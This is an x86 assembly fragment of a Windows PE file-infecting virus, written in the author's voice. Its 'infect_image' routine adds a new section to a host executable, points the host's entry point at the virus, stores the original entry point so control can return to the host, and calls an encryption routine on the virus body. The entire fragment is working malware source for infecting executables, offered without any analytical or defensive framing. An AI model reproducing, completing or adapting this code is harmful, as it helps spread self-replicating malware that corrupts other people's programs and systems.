;%%%4 1 ADDS Add section to host

;our infection process consist in adding a new section to host file

infect_image:
	mov edx,eax
	pushad
        mov ebp,eax

;calculate the end of the section header (the place to we put our own header)

        mov esi,[ebp.MZ_lfanew]
        add esi,ebp
        movzx eax,wo [esi.NT_FileHeader.FH_NumberOfSections]
        imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
	lea edi,[esi.eax+size IMAGE_NT_HEADERS]

;increase hostīs section count

        inc wo [esi.NT_FileHeader.FH_NumberOfSections]

;set new section attributes

        mov dwo [edi.SH_Characteristics],IMAGE_SCN_CNT_INITIALIZED_DATA+IMAGE_SCN_MEM_READ+IMAGE_SCN_MEM_WRITE

        mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
        dec ecx
	mov edx,ecx
        not ecx

;calculate the virus RVA(based from previous section info), and set the
;entrypoint of host pointing to it
        mov ebx,[edi.SH_VirtualAddress-IMAGE_SIZEOF_SECTION_HEADER]
        add ebx,[edi.SH_VirtualSize-IMAGE_SIZEOF_SECTION_HEADER]
        add ebx,edx
        and ebx,ecx
        mov [edi.SH_VirtualAddress],ebx
        xchg ebx,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
        add ebx,[esi.NT_OptionalHeader.OH_ImageBase]

;fill section header info for virus new section

	call get_virus_size
	sub eax,ecx
	and eax,ecx
        mov [edi.SH_VirtualSize],eax

	add eax,[edi.SH_VirtualAddress]
        mov [esi.NT_OptionalHeader.OH_SizeOfImage],eax

        mov ecx,[esi.NT_OptionalHeader.OH_FileAlignment]
        dec ecx

        mov edx,[edi.SH_PointerToRawData-IMAGE_SIZEOF_SECTION_HEADER]
        add edx,[edi.SH_SizeOfRawData-IMAGE_SIZEOF_SECTION_HEADER]
        add edx,ecx
        not ecx
        and edx,ecx
        mov [edi.SH_PointerToRawData],edx

	call get_virus_size
	sub eax,ecx
	and eax,ecx
        mov [edi.SH_SizeOfRawData],eax

;set return parameter in EAX (size of infected image)

	add eax,edx
	mov [esp.Pushad_eax],eax

	push esi

;copy section name, till the max of 8 characters

	X_PUSH eax,%8s~
  	mov esi,esp
  @@cpy:
	lodsb
	stosb
	test al,al
	jnz @@cpy
	X_POP
	lea edi,[edx+ebp]

;set old entrypoint (to virus be able to return control to host)

	call delta
  	mov dwo [ebp+original_entrypoint],ebx
	lea esi,[ebp+virus_main]

;call encryption routine

	mov eax,[esp]
        mov eax,[eax.NT_OptionalHeader.OH_AddressOfEntryPoint]
        mov ecx,virus_size
        mov ebp,[esp.Pushad_edx+4]
        call encrypt

;if encryption routine changed the entrypoint of virus, fix it

        pop esi
        add [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],eax

	popad
	ret

